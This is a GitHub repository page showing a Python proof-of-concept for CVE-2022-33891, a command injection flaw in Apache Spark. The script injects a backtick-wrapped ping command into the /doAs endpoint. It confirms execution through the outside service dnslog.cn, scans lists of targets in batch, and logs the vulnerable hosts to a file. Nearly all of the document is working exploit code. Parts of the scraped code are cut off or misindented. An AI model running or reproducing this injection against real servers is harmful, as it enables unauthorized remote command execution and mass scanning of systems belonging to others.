

Product

Solutions

Resources

Open Source

Enterprise

Pricing

Sign in

Sign up

W01fh4cker / cve-2022-33891

Public

Notifications

Fork

22

Star

52

<> Code

Issues

Pull requests

Actions

Projects

Security

Insights

Files

fd973b5

Go to file

README.md

cve_2022_33891_poc.py

cve-2022-33891 / cve_2022_33891_poc.py

W01fh4cker Update cve_2022_33891_poc.py fd973b5 · 2 years ago History

Code

Blame

97 lines (96 loc) · 4.08 KB

Raw

```
1 import binascii
2 import requests
3 import subprocess
4 import time
5 import json
6 import os
7 import sys
8 from requests.sessions import session
9 os.system('')
10 from urllib3.exceptions import InsecureRequestWarning
11 requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
12 import argparse
13 class apache_spark_cve_2022_33891_poc():
14     def banner(self):
15         print(r"""
16
17         / _ _ \ \ / / _ _ | _ _ \ \ / _ _ \ _ _ | _ _ / _ / ( _ ) / _ \ |
18         | | _ \ \ / / | _ _ _ _ ) | | | _ _ ) | _ _ | _ _ \ _ _ \ / _ \ ( _ ) | |
19         | | _ _ \ v / | | _ _ _ _ / _ / | | / _ / / _ / _ _ _ | _ _ ) | ( _ ) \ _ , | |
20         \ _ _ | \ / | _ _ | _ _ _ \ _ _ / _ _ _ | _ _ _ _ / \ _ / _ / / | |
21         by:W01fh4cker
22         """)
23     def poc(self, target_url, domain, session):
24         url = f'{target_url}/doAs?=`ping {domain}`'
25         try:
26             res = session.post(url=url,verify=False, timeout=20)
27             return res.status_code
28         except Exception as e:
29             print("\033[31m[x] Request error: \033[0m", e)
30     def dnslog_getdomain(self, session):
31         url = 'http://www.dnslog.cn/getdomain.php?t=0'
32         try:
33             res = session.get(url, verify=False, timeout=20)
34             return res.text
35         except Exception as e:
36             print("\033[31m[x] Request error: \033[0m", e)
37     def dnslog_getrecords(self, session, target_url, domain, count):
38         url = 'http://www.dnslog.cn/getrecords.php?t=0'
39         try:
40             res = session.get(url, verify=False, timeout=20)
41         except Exception as e:
42             print("\033[31m[x] Request error: \033[0m", e)
43         if domain in res.text:
44             if count == 0:
45                 print(f'[+] Get {domain} infomation,target {target_url} is vulnerable!'
46                 with open("CVE-2022-33891 vulnerable urls.txt", 'a+') as f:
47                     f.write(url + "\n")
48             else:
49                 print(f'[{str(count)}] Get {domain} infomation,target {target_url} is
50                 with open("CVE-2022-33891 vulnerable urls.txt", 'a+') as f:
51                     f.write(url + "\n")
52             else:
53                 print("\033[31m[x] Unvulnerable: \033[0m", e)
54     def main(self, target_url, dnslog_url, file):
55         session = requests.session()
56         count = 0
```

Page 1 of 2

```
57         count = 0
58         self.banner()
59         if target_url and dnslog_url:
60             print('[+] Requesting dnslog-----')
61             status_code = self.poc(target_url, dnslog_url, session)
62             if status_code == 200:
63                 print(f'[+] The response value is {status_code}, please check the dnslo
64         elif target_url:
65             session = requests.session()
66             domain = self.dnslog_getdomain(session)
67             self.poc(target_url, domain, session)
68             self.dnslog_getrecords(session, target_url, domain, count)
69         elif file:
70             for url in file:
71                 count += 1
72                 target_url = url.replace('\n', '')
73                 session = requests.session()
74                 domain = self.dnslog_getdomain(session)
75                 time.sleep(1)
76                 self.poc(target_url, domain, session)
77                 self.dnslog_getrecords(session, target_url, domain, count)
78     if __name__ == '__main__':
79         parser = argparse.ArgumentParser()
80         parser.add_argument('-u',
81                             '--url',
82                             type=str,
83                             default=False,
84                             help="target url, you need to add http://")
85         parser.add_argument("-d",
86                             '--dnslog',
87                             type=str,
88                             default=False,
89                             help="dnslog address, without http://")
90         parser.add_argument("-f",
91                             '--file',
92                             type=argparse.FileType('r'),
93                             default=False,
94                             help="batch detection, you need to add http://")
95     args = parser.parse_args()
96     run = apache_spark_cve_2022_33891_poc()
97     run.main(args.url, args.dnslog, args.file)
```